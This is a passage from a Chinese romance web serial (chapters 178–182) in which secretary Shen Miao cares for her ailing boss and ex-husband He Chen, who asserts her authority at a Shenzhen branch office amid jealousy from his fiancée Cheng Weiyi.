沈渺动作迅速,捂住商音的嘴。 “贺总,你醒了。” 一个聪明人,会顺着她的话,当做没有听到。 凭沈渺对贺忱的了解,他就是那个聪明人。 商音一激灵,背脊突然爬上冷寒。 她渐渐回头,只用余光扫到贺忱在,就停止动作,又渐渐将头转回来了。 商音扒下沈渺的手,“到点带我儿子晨跑了,不说了我先走了,你拿着人家钱就该好好工作,别抱怨,走了昂。” 她把烂摊子留给沈渺不说,还往沈渺身上泼了脏水。 好像沈渺一直在跟她抱怨,贺忱是个累赘。 ‘砰’ 商音将门关得震天响。 沈渺的心抖了抖,她移开与贺忱对视的目光,清了清嗓子。 “贺总,你早餐吃什么,我去帮你做。” “不用了。” 贺忱双手撑在栏杆上。 微敞的衬衫露出男人胸腹的薄肌,他俯视着沈渺。 不论脸色还是眼神都在表达:他这个麻烦精,怎么好意思麻烦下属帮他做早餐? “不麻烦,你要是不嫌弃,就吃这一份,我等下去公司路上买一份就好。” 沈渺尽量让自己看起来与往常无异。 可贺忱的目光过于锐利,她有些招架不住的尴尬。 这股尴尬,落入贺忱眼里,化成了她在强忍他这个累赘。 贺忱直起身,将扣子一颗颗系上,缓步下楼来。 “十分钟后,去公司。” 沈渺颔首,“好。” 她立马去洗了把脸,换套衣服,装上早餐往外走。 还没到十分钟,可贺忱已经在车边等着了。 分部给贺忱预留了办公室,就在沈渺办公室隔壁。 等红绿灯时,沈渺给李白恬发了消息,让李白恬把贺忱的办公室收拾一下,让所有人严阵以待,迎接贺忱。 半小时后,公司分部门口,韩文松等人齐刷刷站了一排。 沈渺刚将车挺好,韩文松就跑过来开车门。 “贺总,您总算亲自过来了。” 这话说得另有深意,好似沈渺这个被贺忱派过来的人,多么的不靠谱。 贺忱微微阖着的眼皮轻睁了下,带着威严的目光落在韩文松身上。 这是韩文松第一次见贺忱,他只觉得浑身血液凝固,人都是麻的。 “沈秘书。” 贺忱薄唇轻启,吐出三个字。 沈渺会意,落下车窗来。 “半小时以后开会,在那之前别来打扰贺总。” 韩文松面色悻悻。 他知道贺忱是来给沈渺撑腰的。 可他没想到,贺忱这么冲,一点颜面都不给他留。 他将车门关上,后退两步让开位置。 沈渺将车开到地下停车场,下车后正准备给贺忱开车门,却见贺忱已经下来了。 贺忱关上车门,整理了下衬衫,阔步朝电梯走去。 沈渺快步跟上,“贺总,我昨天开除了公关部经理和安保部部长,等会会议韩文松一定会提这件事情。” “嗯。”贺忱鼻腔里发出一个单音节。 赶在沈渺之间,他摁下电梯,“知道什么叫群龙无首吗。” 沈渺跟着他进入电梯,面露不解,“您想拿韩文松开刀?” “韩文松都是轻的。”贺忱扭动手腕,目光渐渐蓄起冷意,“这段时间你跟韩文松周旋,不出大乱子就行,等韩董一倒台,韩文松也就解决了。” 贺忱向来不喜欢跟这些小兵小将过招。 韩董觉得他撕不开脸,对他一个百荣老董事,他偏要撕给韩董看看。 沈渺,“那您什么时候回京北?” 这话完全是沈渺下意识地问。 问完贺忱不满的目光就投过来了。 “我不是那个意思,韩董在京北。” 贺忱想直接跟韩董过招,当然要回京北。 “要动,但不是我先动,他比我更沉不住气。” 贺忱言简意赅。 电梯门开了,他阔步出去。 沈渺知道他已经有了计划,不再多问,跟出去。 她刚回到办公室,内线就被打通。 贺忱,“让人送套衣服还有洗漱用品过来。” “是。” 沈渺挂电话,让李白恬去办这事儿。 贺忱的办公室里有休息室,约莫半小时后,衣服和洗漱用品都送过去了。 李白恬办好后来到沈渺办公室。 “沈总,韩经理他们都在会议室等着呢。” “让他们等。”沈渺不急不缓。 等的是贺忱,他们不敢有一丝不满。 “贺总怎么突然来了?” 李白恬在她对面坐下,双手放在桌子上,像个小学生一样,“他是来给你撑腰的吗?” 沈渺看她一眼,纠正道,“是来给我们撑腰的。” “哦对!”李白恬忙不迭点头,“我们都是贺总的人!” 沈渺被她的表情逗笑,“再去给贺总准备一份早餐,贺总不喜欢甜的。” 李白恬起身打了个敬礼的姿势,“收到!沈秘书真了解贺总,你吃了吗?要不要帮你也订一份?” “不用,我这儿有。”沈渺将商音做的早餐拿出来,正欲吃一口—— 电话内线被打通,贺忱的声音传来,“沈渺,我腕表落在你家了,派人去取。” 178.贺总的手表,怎么会在你家? 沈渺吃东西的动作顿住,早餐还没送到嘴里。 “好。” 她应声完,电话挂断。 一片死寂后,李白恬‘咦’了一声,“贺总的手表,怎么会在你家?” “你去取。”沈渺把家门钥匙给她,“快去快回。” 李白恬接过车钥匙,小眼睛提溜转着打量沈渺。 沈渺只好又添一句,“昨天贺总高烧不退,他没带人来深城,所以是我照顾他的。” “我就说嘛。”李白恬笑道,“你还怀着孕,肯定只是照顾贺总,啥也没发生。” “???” 她不说还好,一说有种此地无银三百两的味道。 沈渺细眉一拧。 李白恬却已经往外走了,走到门口又停下来问,“那贺总的早餐……” “你不用管了。” 沈渺联系五星级酒店,送了一份早餐过来。 又半小时过去。 贺忱短发半干,从浴室出来。 他骨节分明的手将扣子一颗颗系上,视线落在办公桌那份很合他胃口的早餐上。 保温盒上贴着一张便贴纸,沈渺的字迹清晰可见。 【饭后十分钟服药。】 沈渺已经将药单独装好,放在旁边了。 贺忱坐下,打开早餐盒子,没等吃上一口,手机就响了。 他扫了眼屏幕,拿起筷子开始吃东西。 电话一遍遍的响,他都无动于衷地吃着东西。 直到吃完最后一口,他抽了一张纸巾,擦了擦嘴,才不急不缓地接电话。 “贺忱哥,你……你跟沈渺到底怎么回事!” 程唯怡质问的语气,夹杂着委屈。 贺忱,“什么怎么回事。” “你去深城的第一天,沈渺深夜去了你那儿,昨晚你去了她那儿!” 程唯怡一早就收到了两张照片,照片背面详细介绍了时间地点与人物的关系。 贺忱眸光一暗,转瞬涌上来冷意。 “把照片交给林昭,等林昭查清楚,你就知道怎么回事了。” 程唯怡不肯,“你想让人把照片拿走,当做这件事情不存在吗?” “不做亏心事,不怕鬼敲门。” 贺忱嗓音涔涔,“我问心无愧。” 程唯怡总觉得,她再深问下去,贺忱就要问她,是不是问心无愧的! “贺忱哥,我们还没有结婚,你就对我变心了……” 她绕开话题,试图往对自己有利的方向扯。 但贺忱不给她机会,“林昭安排的医生,你为什么不去。” “我妈生病了,我一直在照顾她。” 程唯怡继续转移着话题,“贺忱哥,我妈最放心不下我了,她想看到我结婚。” “程唯怡,我的耐心有限。” 贺忱有着绝对的话语权。 他不过两句话,就令程唯怡哑口无言。 这个婚还要不要结,怎么结,程唯怡都自己看着办。 贺忱挂了电话,给林昭发消息。 程唯怡那端被他挂了电话不过两分钟,就接到了林昭的电话。 “程小姐,贺总给您安排了国际有名的妇产科医生,您什么时候方便?” 不再是死板的定好时间,让程唯怡必须过去。 却透着一股强迫性,让程唯怡必须去看医生。 “我,我妈的身体还不好,等我腾出时间来,再联系你!” 程唯怡随便找了个借口,就准备挂电话。 林昭忙又开口,“程小姐,贺总让你把照片转发给我,还有发给你照片的IP。” “知道了。” 不论贺忱跟沈渺在深城到底发生了什么。 有人故意把照片拍下来,发给她,就是挑拨她和贺忱的关系。 程唯怡前不久刚害了贺忱一次,这一次她不能再掉链子。 林昭收到照片后,回复了程唯怡一个‘OK’。 然后火速对这两张照片展开调查。 早就有调查方向,所以查到蛛丝马迹是不费力气的。 交代好一些,贺忱起身去了沈渺办公室。 “贺总,会议可以开始了吗?” 沈渺办公室的门开着,她站起来,走出办公桌。 贺忱在她办公桌旁停下,指尖敲了两下桌面。 “我们被人拍了,不确定新闻会不会被曝光,你可以提前跟张科研解释一下。” 一旦撕破脸,那照片在对方手上,对方极有可能选择鱼死网破,将照片发给媒体。 他倒是没什么。 主要是……沈渺。 沈渺一愣。 “哦,不用了,他……” 她想说张科研不会相信那些东西。 可是转而一想,此刻正是提她跟张科研‘分开’的好时机。 “我……” 沈渺支吾着,不知道该怎么说。 “怎么?”贺忱眉头一拢,“已经吵架了?” “没有!”沈渺忙不迭摇头,“我跟张科研已,已经解释过了。” 到嘴的已经‘分手’,变成了‘解释过’。 沈渺低了低头,垂着的眼帘掩饰着眸底的懊恼。 贺忱凝着她,不知该说一句抱歉,给她带来麻烦。 还是夸一句张科研真大度。 “准备开会吧。” 他转身离开。 沈渺捏了捏眉心,她汲气,等会议结束再说吧。 一定要实话实说。 她暗暗下定决心。 会议室里,一片死寂。 韩文松他们坐的身体都僵硬了,心也越来越凉。 贺忱这次过来,一定要大肆整顿,第一个不保的就是他韩文松。 他的手在桌下,不断给韩董发消息。 韩董只回了一句:【他敢动你,就是主动撕破我们的关系,谁先撕破脸谁理亏。】 韩文松跟韩董的关系再亲近,也只是韩董跟贺忱斗争间的一颗棋子。 他只是韩董用来逼贺忱撕破脸的。 好在韩董很快又发了消息过来:【放心,我肯定会安排好你,给你留后路。】 不等韩文松再发消息,贺忱跟沈渺一前一后进入会议室。 高层们纷纷站起来打招呼。 “贺总,沈总……” “贺总,沈总!” 主位放着两把椅子,一把在正中央,一把偏左边。 贺忱在主位坐下,他坐好后沈渺才去旁边的位置坐下。 “听说,最近分部发生了一些事情。” 贺忱双腿叠放,翘起的腿刚好抵在沈渺的椅子横栏上。 他身体是朝沈渺那边倾斜的。 这幅场景,任谁也知道,谁告沈渺的状,谁‘死’。 可韩文松不怕,他刚得了韩董留后路的准备。 “贺总,我们都知道沈秘书跟了您很多年,但她毕竟是个女流之辈,目光短浅,没学来您十分之一的精锐,让她做分部的总经理,不妥啊。” 179.到底发生了什么?你们复合了? “谁坐妥。” 贺忱状似无意地反问,“你行你来?” 韩文松:“……” “我觉得,韩少就很适合这个位置。”他鼓起勇气说。 贺忱,“跟了我好几年的都不适合坐这个位置,韩城光一天没跟过,更不适合了。” 他目光从韩文松身上移开,面色也在一瞬变得阴沉。 “还有谁对沈总有意见。” 高层们下意识看向韩文松。 韩文松一肚子里窝在喉咙里说不出来,脸色铁青却又不敢发作。 被贺忱身上那股凌人的气息拿捏得死死的。 他们纷纷摇头,低下头去,一言不发。 “新团队需要时间磨合,希望你们彼此多包容。” 贺忱薄唇轻启,说完他看向沈渺。 “你有什么不适应的地方及时给我打电话,总部有的是人,想要哪个要哪个。” 这话的意思是,看他们哪个不顺眼开哪个,百荣总部的高层随便往这边调。 只要沈渺一句话,他不问理由不管对错。 全军覆灭性的强势压迫,让整个会议室死气沉沉。 他独有的一丝纵容,留给了沈渺。 别说跟他这么多年,就连那两年的隐婚。 沈渺都不曾受到过贺忱这般明目张胆的偏袒。 “谢谢贺总,目前看来还不需要。” “你们还有问题吗。” 贺忱睨了眼在场的人。 在场的人纷纷摇头。 唯独韩文松,脸色青红交加,不服但又说不出口。 “韩经理有话可以直说。” 贺忱点名。 韩文松,“贺总都这么说了,我没什么好说的。” “韩经理听起来对我的话很不满。” 贺忱调整了下坐姿,却依旧是朝沈渺那边倾斜的。 他说,“我这个人向来是公平公正的,你要是真不满可以走人。” 众人:“???” 韩文松一片死寂的沉默。 “沈总,人交给你了。”贺忱又朝沈渺看过来,“他想走就成全他,百荣不勉强留人。” 任谁也想不到,金字塔尖上的男人,会这般儿戏地决定一个人去留。 在绝对的权利面前,韩文松的不满太微不足道了。 可以说,像贺忱这个位置的人,根本不屑于跟他面对面的解决事情。 直接把人都解决了,简单快速。 “散会。” 贺忱丢下两个字,起身离开。 他走出会议室后,沈渺才站起来,她轻敲了两下会议桌。 “韩经理,走的话把辞职报告送到我办公室。” 说完,她也走了。 两人离开后,会议室数十人未曾发出一点声响,静的能听见彼此的心跳和呼吸声。 沈渺想跟贺忱谈谈张科研的事情。 奈何贺忱走得太快,她再出来时,贺忱已经回了办公室。 算了,贺忱找了张科研那一次,以后应该也不会再找。 沈渺回到办公室,电脑上的微信发出‘叮咚叮咚’连续几声。 她快步过去坐下。 全都是商音发来的消息。 【我靠,我回家以后又睡了个回笼觉,觉得我早上梦游了,才在你家看到贺忱!】 【我刚才还去确认了一遍,遇上你的秘书来给贺忱拿手表!】 【沈渺,我他妈不让你跟贺忱往来,你倒好,直接把人带家里来了?】 【昨晚到底发生什么了?你们复合了!?】 【不是,你还怀着孕呢,你心里有数吧?】 一句比一句离谱的话,看得沈渺眉头直拧。 【你要不要去网上看看贺忱跟程唯怡的婚礼进度?】 昨天明黎艳还在公开酒会上,提到了婚事进展筹办得很顺利呢。 商音:【SO?你这么不理智,在他还没有跟另外一个女人解除婚礼时,就答应复合了?】 沈渺:【贺忱生病了,没人管,我把他带到我家照顾一晚,仅此而已。】 那端,商音好半天没回。 就在她以为,商音已经把她解释的话听进去了时。 商音又来了句:【他要是死了,孩子就彻彻底底是你一个人的了。】 沈渺语塞。 【今晚还把他带回家不?】 【不带了。】 沈渺想到刚才男人意气风发的样子,应该是好了。 商音:【秦医生也来了,他怎么不照顾贺忱。】 打字太累,沈渺索性拨通了商音的电话。 “秦医生说有事,不能照顾他,你怎么知道秦医生来了?” 商音的声音夹杂着商商咿咿呀呀的叫声。 “我看到秦医生发朋友圈了,他昨天爬山了,就是挺没空的呢,爬山也不管贺忱的死活,见过塑料姐妹花,没见过塑料兄弟情的。” 她阴阳怪气,也不知道是真为秦川跟贺忱的兄弟情谊。 还是又在变相讥讽沈渺,不该把贺忱带回家。 沈渺脑仁一阵大。 “你别添乱了,先挂了。” “等等,过两天产检,你把工作处理好,到时候我陪你去。” 商音帮她预约的妇产科医生。 沈渺应声,挂了电话。 临近中午,沈渺让李白恬去问贺忱,定哪家的午餐。 约莫五六分钟,李白恬就回来了。 “沈总,贺总说他不饿,不吃了。” 沈渺沉吟片刻道,“你去定一份粥,送到贺总办公室,提醒他吃药。” 李白恬一屁股在沈渺对面坐下。 “贺总生病了啊?” 沈渺点头,“对,你再去提醒一下贺总,量测体温。” “我,我不想去。” 李白恬一脸愁容,“贺总看起来好凶啊,我以前在总部就最怕他了,没想到跑到这儿来,还是能看到他,他什么时候走啊?” 沈渺摇头,她也想知道,贺忱什么时候走。 “那他来干什么的啊?”李白恬又问。 “应该是为了上次的新闻,他怕我搞不定?” 沈渺语气不确定极了。 “我到点吃饭了,先走了,你自己去问贺总吧!” 仗着跟沈渺熟,李白恬‘以下犯上’,把烂摊子丢给沈渺逃之夭夭了。 沈渺只能自己去贺忱办公室。 她先定了一份粥,待粥送到后,才起身过去。 她敲响办公室门,门内传来男人富有磁性的声音。 “进。” 沈渺推门而入。 “贺总,吃点东西吧,药不能空腹吃。” 贺忱正在远程处理林昭发过来的工作。 他眼皮轻掀了下,又落回去。 “放下吧。” 沈渺将粥放在桌子上,“这两天您生病,一定耽误了不少工作,林助还几次找不到您,您还是尽快回京北吧,免得耽误了工作。” 180.两个人的感情,谁也插不了手 贺忱敲击着键盘的动作一顿。 他锐利的目光倏地看向沈渺。 沈渺发誓,她只是顺口提了一句。 可落在贺忱耳朵里,就是迫不及待的赶他回京北。 “沈渺,过河拆桥也没你这么快的。” 沈渺忙不迭摇头,“我是怕您耽误了工作。” 贺忱靠在椅背上,目光如注地看着她。 “放心,今天不用你照顾。” 沈渺承认,是想让他快点走。 可她说的也没错,贺忱在这里远程处理工作,进度就是慢。 “那就好,希望贺总照顾好自己的身体,免得再出状况。” 她眯起眼睛微微笑了笑,“没别的事我先出去了。” 贺忱觉得她那客气的笑容,假的刺眼。 前脚出贺忱办公室,后脚沈渺的笑容就消失了。 她揉了揉发酸的腮帮,轻吸了两下鼻子,回办公室。 下午刚上班,李白恬就拿着一份资料过来了。 “沈总,这是总部调过来的公关部经理,您看看。” “总部调过来的?” 沈渺惊讶,她拿过简历打开。 “提拔的下面的人,不是总部的公关部经理。” 李白恬拔长脖子看过来,“你快看看是谁,我认识不。” 她稍微打听了一下,只知道是提拔的其他人,具体是谁不清楚。 沈渺把简历拿出来,一看名字,人懵了。 贺懿。 “贺懿?”李白恬也看到了,她‘嘶’了一声,“有这么个人吗?我怎么不记得?” 贺懿在公司相当低调,毕竟京北姓贺的人不多。 她生怕别人会把她跟贺忱扯上关系。 “人来了吗?” “刚把资料递过来走了,人事部安排的事明天一早来报道。” 李白恬想了想说,“我只看到了一个背影,挺年轻的。” “你去忙吧。” 沈渺拿过手机,正准备给贺懿发消息。 李白恬又放下了一张红色请柬,“高家夫妇结婚纪念日,邀请您去,这是请柬。” “什么时候。”沈渺问了句。 “明天晚上。”李白恬说,“上次您给高太太买的礼物送出去了吗?” 沈渺摇头,“再去选一个礼物,明天一起带过去。” 不过,贺忱没来之前,她负责深城所有的应酬。 现在贺忱来了,她得问问贺忱去不去。 沈渺去了贺忱办公室一趟,敲了半天门却没有人应声。 她将门推开一条缝,偌大的办公室里静悄悄的,办公桌前没人。 中午她送来的午餐还摆在那里。 沈渺不由地拧眉,推开门走进去。 休息室的门敞开着一条缝隙,室内拉着窗帘。 半开的窗户吹动窗帘,透进来的光亮打在床上。 依稀可见一抹拢起的身影躺在那里。 沈渺快步进入休息室。 均匀的呼吸声传来,贺忱侧躺着,面容轮廓紧绷,眉头微微蹙着,看起来不是很舒服。 她走上前去,伸出手探了探男人的额头。 温度不高,没发烧,沈渺舒一口气。 许是这两天生病,他太过疲乏,才会在这个点儿睡觉。 沈渺的手还未来得及缩回来,猛地被男人圈住了手腕。 她呼吸一滞,低头对上贺忱豁然睁开,睡意还未完全褪去的双眸。 “抱歉,打扰你休息了,我以为你又不舒服。” 沈渺压低音量,轻轻扭动手腕,想摆脱他的钳制。 贺忱手上动作一松,撑着身体坐起来。 “我没事。” “你怎么没吃饭?”沈渺问。 贺忱,“放心,吃药了。” 沈渺:“???” 医生特意交代,药不能空腹吃。 他还不如不吃呢。 沈渺还想说些什么,可是对上他漆黑如墨的目光。 她喉咙一紧,将关心的话收回去。 “高家夫妇结婚纪念日,发来了请柬,明天晚上,您去吗?” “结交一下高家人,对你在这边有好处。” 贺忱言简意赅,“你跟我一起去。” 沈渺,“好。对了,贺懿来深城了,被调职为分部的公关部经理。” 调职的事情,是贺老爷子一手操控的。 贺懿都在深城落地了,贺忱才知道这件事情。 “她资历尚浅,按理说不该坐这个位置,不过这边情况特殊,忠心度比个人能力更重要。” “我会照顾好她的。” 沈渺下意识接话。 她说完,贺忱就掀起眼皮,又朝她看过来。 她忙解释道,“就算来的不是她,是别人,我也会好好照顾。” “是吗。”贺忱轻飘飘的两个字,别有意味般的尾音略颤。 “是,不打扰您休息了,我先出去工作。” 沈渺转身往外走,略显宽松的衣服,让她看起来比以前褪去几分锐利和气场。 贺忱扯了扯领带,心底有股说不出的感觉。 乍然响起的铃声,将他从那股情绪中拉出。 是林昭打来的电话。 他抄过手机接起。 “贺总,有个文件发到您邮箱了,急需处理。” “知道了。” 贺忱嗓音涔涔,他起身走出休息室。 林昭,“最近微克的老总有惹您不高兴吗?” 陈庆? 除了上次贺忱想要张科研,陈庆不给之外,他们几乎没有交集。 而那件事,他并未放在心上。 “说重点。” 林昭‘嘶’了一声,“昨天我在酒会遇上陈庆,他让我向您问好,希望别因为私事影响了合作。” “就这些?”贺忱跟陈庆合作多年,陈庆应该了解他,不会为了那一点小事生气。 林昭仔细回忆了一下陈庆的话,又说,“陈庆说他女儿喜欢上了他公司的职员张科研,就之前跟沈秘书闹传闻的那个,还说两个人的感情,谁也插不了手。” “陈庆的女儿跟张科研?” 贺忱的声音顿时冷冽入骨。 林昭听出他声音不对,忙说了句,“之前沈秘书跟张科研只是传言,到底有没有交往,我们不清楚……” 贺忱默不作声,面部轮廓逐渐锐化锋利。 电话里一阵死寂,不知过了多久,他冷声道,“你给陈庆打电话,让他把张科研开了,否则合作取消。” “啊?”林昭不明白,贺忱突如其来的情绪,从何而来。 但贺忱不解释,他便照做。 挂了电话,贺忱的面色阴郁,打通内线,“沈渺,你过来一趟。” 181.你身上都有他的影子了 “贺总,怎么了?” 沈渺听出贺忱的语气非常不好。 她不由得往贺忱办公室方向看了一眼。 那端静默数秒,男人的声音再度传来,“没事了。” 内线被挂断。 沈渺收回目光,平缓的眉头微微拧起。 一下午,贺忱都在办公室里没出来,他办公室的门紧闭着。 她埋头继续工作。 直到忙完手头的工作,她看了看时间,快五点了。 她可以按时下班。 而贺忱一下午都在办公室没出来。 沈渺沉了沉,掏出手机给贺懿发微信。 【你来深城,怎么不提前说一声?】 贺懿发了个鬼脸过来:【想给你一个惊喜的,你怎么提前知道了?】 沈渺:【你来调职通知里带着简历。】 贺懿:【那,今晚一起吃饭?你请,替我接风洗尘,带我吃遍深城的美味!】 沈渺:【你哥生病了,今晚你来照顾他一下吧。】 当即,贺懿的电话拨过来了。 “我哥壮得跟牛一样,怎么会生病?” 沈渺,“真的,昨天烧得连药都吃错了,半夜我又送他到急诊。” 贺懿‘咦’了一声,不乏嫌弃。 “怎么还闹这么严重?我是来这儿躲清静的,可不是来给他收尸的,算了,我给他打个电话问问。” 沈渺‘嗯’了一声,“改天再请你吃饭。” “好。” 贺懿痛快答应。 结束了跟沈渺的通话,她立马给贺忱打过去。 电话响了许久,贺忱才接。 “哥,我来深城了。” 贺忱,“知道了。” 贺懿,“你病好些了吗?” 她不提‘病’这个字,贺忱都忘记,自己现在是病人。 他看了看指缝里夹着的烟支,思忖片刻才开口。 “谁跟你说的。” “渺渺说的。” 贺懿的嫌弃渐渐显露了些,“大男人还会水土不服?怎么还发烧吃错药,来深城时好好的,烧成个傻子回去,怎么办啊。” 贺忱眼皮轻掀,透过窗户,刚好看到沈渺从办公室出来。 她穿着浅米色的针织衫,长裙到脚踝,背着黑色的包。 看样子是准备下班。 “哥,哥你有没有在听啊?” 贺懿说了半天,没得到回应,她拔高音量又说一遍。 “你是在华东壹号院住吗?我现在过去。” 贺忱,“我这几天住公司。” 贺懿那端一阵细琐,她都换好衣服打算过去了。 “也行,公司有保安,你要不行了可以求救,住家里凉了都没人知道。” “你不说话,没人把你当哑巴。” 贺忱训斥两句,没心情跟贺懿扯皮,挂了电话。 但贺懿还是不放心,给他发消息,叮嘱他按时吃药,不舒服及时打电话。 —— 沈渺驱车回家,进门就迎上商音审视的目光。 这个点商音还没直播,知道她今天回来早,抱着商商坐在她家沙发上等她。 沈渺一只脚刚踏进来,就被商音目光洗礼了一番。 待她走进了,商音抱着商商站起来,摸索着她衣服口袋,顺势手还在她前凸后翘的身材上,捏了一把。 “有病!?”沈渺一把拍开她的手。 商音,“我检查一下,你有没有偷偷把贺忱藏在口袋里,带回来!” 她音量拔得高高的,商商晃着脑袋,盯着沈渺,也跟着‘啊’了一声。 沈渺捏了捏商商的小脸。 “真的只是生病,所以他临时在我家借住一晚。” “现在病好了?”商音搂着商商回沙发上坐下。 沈渺脱掉外套,也坐下来,把商商抱怀里来。 “差不多了吧,贺懿来了,会照顾他。” 商音拉成尾音‘哦’了声,“难怪你不把他带回来,感情是有人照顾了啊。不过怎么是贺懿,贺忱的准新娘呢?” 婚期临近,两个人应该正是甜蜜的时候。 提到程唯怡,沈渺脸上的笑容浅了浅。 “不知道。” 商音把商商从她怀里抱过来。 “行了,让干妈去洗手换套衣服,咱们去吃饭了。” 育儿嫂已经准备好晚餐了。 沈渺起身上楼,简单洗漱后换了套家居服下来,跟着商音去她那边。 育儿嫂的手艺很好,做的一手南方小炒菜。 别说商音这个贪嘴的,就连沈渺对吃不怎么感兴趣的,都赞不绝口。 “明天有时间的话,陪我去商场试礼服,有宴会。” 沈渺明天上午去安排贺懿入职,下午提前离场,为晚上的宴会做准备。 商音点头,“正好,商商也该买换季衣服了,京北这时候还不算热,深城现在都算夏天了。” “行,不过买完我要去参加宴会,你自己回来。” 沈渺看了看商商,“你一个人带他回家,能行吗。” “我让昭姐跟着就行了。” 育儿嫂比沈渺和商音都大,她们统一喊昭姐。 昭姐正在给商商喂辅食,爽快点头,“成,你们年轻不懂小孩的衣服买什么面料,我帮你们看看。” 几人商议好,晚饭过后,沈渺回了自己那儿。 接连两日都折腾到半夜,今天洗漱后早早上床,她却睡不着了。 刚进六月,深城就已经热得冒汗,晚上也不能缓解。 燥热让沈渺一整宿都翻来覆去。 早上她盯着两个黑眼圈到公司,在门口就遇上了来报道的贺懿。 贺懿穿着白色衬衫半袖,过膝的长裙。 脚底踩着五公分的高跟鞋,一脸严肃地站在那里,整个人有几分拘谨。 她看到沈渺时,眼睛一亮,很快又压了压眸色里的欣喜。 “沈总,我是总部调过来的,贺懿,请多多关照。” 沈渺觉得她一本正经的样子,挺好笑。 “彼此关照,走吧,我带你去部门报道。” 她带着贺懿上八楼,整个公关部加起来十几个人。 知道今天新上司来报道,他们纷纷中规中矩坐在工位上。 沈渺领着贺懿一进来,他们挺直腰板暗中打量。 “这位是总部调过来的公关部经理贺懿,在总部工作很久,十分有工作经验。” “贺经理真是年轻有为!” “贺经理长得真漂亮。” 贺懿站在沈渺旁边,比起沈渺有几分职场的稚嫩。 但她装模作样地与众人寒暄。 “以后请多多关照。” 浅浅打了个招呼后,沈渺让贺懿放下公文包,拿着笔记本上顶楼开会。 她还要把贺懿介绍给其他部门的高层。 两人进入电梯,贺懿紧绷的身体松懈下来。 “渺渺,跟我哥久了,你身上都有他的影子了,刚刚看到你从车上下来,我还以为我哥来了。” 贺懿小声笑着说。 182.之所以来深城,是因为她在这儿 “注意分寸,别乱说话。” 沈渺侧目看了贺懿一眼。 贺懿立马改口,“沈总。” “我说的不是称呼。”沈渺给她一个眼神,让她自己品。 贺懿吐了吐舌头,“谁能因为我两句话,就想到我哥跟你结过婚,上过床?” 沈渺:“……” 电梯‘叮’的一声开了。 电梯外,贺忱单手插兜站在那里。 他眉尾轻佻着,打量电梯里的两人。 “哥……贺总。”贺懿绕口改话,“我是公关部新来的贺经理。” 沈渺被贺忱打量的眼神,盯得头皮发麻。 “贺总。” 贺忱鼻腔里发出一个单音节,进入电梯。 沈渺跟贺懿赶紧出来,埋头往前走。 “工作时间,禁止闲聊。” 贺忱的声音顺着缓缓关闭的电梯门,传出来。 两人脚步一顿。 沈渺不禁闭了闭眼睛,不忍回想刚才的画面。 贺懿则回头看了一眼,只看到关上的电梯门。 她舒一口气,“我哥是听见了吧?” “别说了,走吧。”沈渺不想再继续这个话题,朝会议室走。 “没事,话是我说的,我哥就算生气,也生我的气。” 贺懿快步跟上她,“他也不能觉得,你会私下跟我讨论他吧?” 贺忱怎么想的,沈渺也不知道。 她只知道,电梯门开的那一刻,贺忱朝她看来的目光,跟平日里不太一样。 “闭嘴,开会。” 沈渺把包放回办公室,带着贺懿进入会议室开会。 贺忱压阵,高层们都变得老实起来。 韩文松除了一脸不服,行为上没有再挑刺。 会议进行顺利,结束后贺懿到她办公室来摸鱼。 “我哥生病,辛苦你了。” 沈渺摇头,“应该的,他是我上司,而且他这次过来是给我撑场子的。” 这几天,沈渺终于确定,贺忱来深城真的只是为了给她撑腰。 跑到这千里之外,还生了一场病。 沈渺突然过意不去,那两天在照顾他时还想推辞。 “他是来躲清静的吧。” 贺懿坐直身体,手在桌子上拍了拍,“你是不知道,婚期越近,程家的幺蛾子越多,闹得可不愉快了,我哥跟程唯怡好像出问题了。” 沈渺心头一沉,“是吗。” “对,你看,昨晚程唯怡还发了条莫名其妙的朋友圈。” 贺懿把程唯怡微信翻开,置顶的朋友圈就是:我们不该以这样的方式伤害彼此。 下面有人评论,贺懿看不到对方的,只能看到程唯怡的回复。 说跟贺忱吵架了,贺忱在冷着她,拿她最在意的事情气她。 “我哥气她什么了?婚礼没取消,没骂她没打她,她这不是造谣吗?什么最在意,她在意什么?” 贺懿强忍着没把程唯怡的微信拉黑。 沈渺嘴角轻抽了两下,想说的话卡在喉咙里,说不出来。 所以,贺忱跟程唯怡吵架,才来的深城。 之所以来深城,是因为她在这儿。 她就是程唯怡最在意的那根刺。 “矫情死了,我以前不想结婚,现在想了,等她嫁过来我立马就嫁出去,千万别在一个屋檐下生活。” 贺懿提到程唯怡,眉头拧得能夹死苍蝇。 沈渺缓了缓胸腔里涌上来的那股酸涩。 她扯动嘴角说,“回去工作吧,刚上班第一天,好好表现,别让部门的人说闲话。” 毕竟是家事,贺懿跟朋友不能吐槽,怕被人看了笑话。 好不容易见到沈渺,她大吐苦水。 现在她还有些意犹未尽,“那改天不忙了一起吃饭,到时候再跟你说。” “去吧。”沈渺颔首。 办公室安静下来,沈渺的视线落在眼前的文件上。 却怎么也看不进去。 临近中午,她处理完几份紧急文件,离开公司。 她跟商音约好在商场餐厅见面,先吃了一顿饭,然后才逛街。 下午五点,她开车回公司接贺忱。 贺忱身着黑色西装,白色衬衫搭着浅蓝色的领带。 意气风发又不失沉着稳重,让他周围的一切都失了色。 沈渺把车停在他身边,将车门打开等他上车。 贺忱正在接电话,看过来的同时,将指缝里夹着未点的烟,放回烟盒。 “程小姐还是没有给准确的时间,而且她最近频繁联系秦医生,只不过秦医生的电话打不通。” “彻查程唯怡,包括她在国外那两年的一切踪迹。” 贺忱眸光沉得能滴出水,“盯紧了程家,一举一动都及时向我汇报。” 林昭觉得有大事要发生。 他紧绷着应下,全权按贺忱说的办。 “张科研的事情办得怎么样了。” 贺忱望向沈渺的方向,半落地车窗,她侧脸线条柔和,化着淡妆美得惊心动魄。 林昭犹豫了下说,“我还没找到合适的机会,跟陈庆提……” “让你直接办。”贺忱不满道,“我做事还要看机会?” 林昭额头冒汗,是不需要看机会。 可不分青红皂白,连个理由都不给就提出这种无理要求—— 传出去对贺忱的名声有损。 可贺忱态度强硬,林昭只能听命。 “是,我现在就给陈庆打电话。” 结束通话,贺忱将手机揣回兜里,弯腰上了车。 待他系好安全带,沈渺发动引擎驱车朝高家走去。 高家夫妇的结婚纪念日,在高家老宅举办。 晚高峰,路上堵,预计比约定时间要迟上二十分钟才能到。 不过高夫人半路给沈渺打了一通电话,特意叮嘱不用着急。 因为她的车上有贺忱。 挂了高夫人的电话,沈渺跟贺忱解释,“高夫人打来的电话,还得是贺总亲自出马,高家人都得忌惮三分。” 回应她的,是一片沉默。 就在沈渺以为,他不会回答时,却听贺忱开了口。 “沈渺,你看上张科研什么了?” 话锋转得太快,沈渺猝不及防。 